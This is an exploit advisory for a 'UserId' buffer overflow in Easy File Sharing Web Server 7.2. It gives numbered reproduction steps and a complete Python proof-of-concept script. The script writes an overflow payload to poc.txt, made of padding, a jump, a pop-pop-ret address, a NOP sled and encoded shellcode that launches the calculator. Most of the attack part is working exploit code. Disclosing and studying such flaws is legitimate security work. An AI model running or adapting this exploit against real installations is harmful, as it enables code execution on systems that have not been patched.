Easy File Sharing Web Server 7.2 – ‘UserId’ Buffer Overflow exploit

A local buffer overflow vulnerability has been discovered in the official Easy File Sharing Web Server.
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process.
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system.
The vulnerability is marked as classic buffer overflow issue.

Date of Discovery:
==================

2018-09-19

Exploitation Technique:
=======================

Local & Remote

Platfom Tested:
===============

Windows 7

Levels Risk :

Proof of Concept (PoC):
=======================

The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.

1.Download and install Easy File Sharing Web Server
2.Run the python operating script that will create a file (poc.txt)
3.Run the software « Click User Account -> Add »
4.Paste the contents of the file (poc.txt) into the input « UserId » and click « OK »
5.Now the calculator executes!

#!/usr/bin/python

from struct import pack

buffer = "\x41" * 4059
a = "\xeb\x06\x90\x90"
b = pack("<I",0x1001b8c0) #0x1001b8c0 : pop esi # pop ebp # ret
calc=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
nops = "\x90" * 20

poc = buffer + a + b + nops + calc
file = open("poc.txt","w")
file.write(poc)
file.close()

Reference:
==========
[+] www.vulnerability-lab.com

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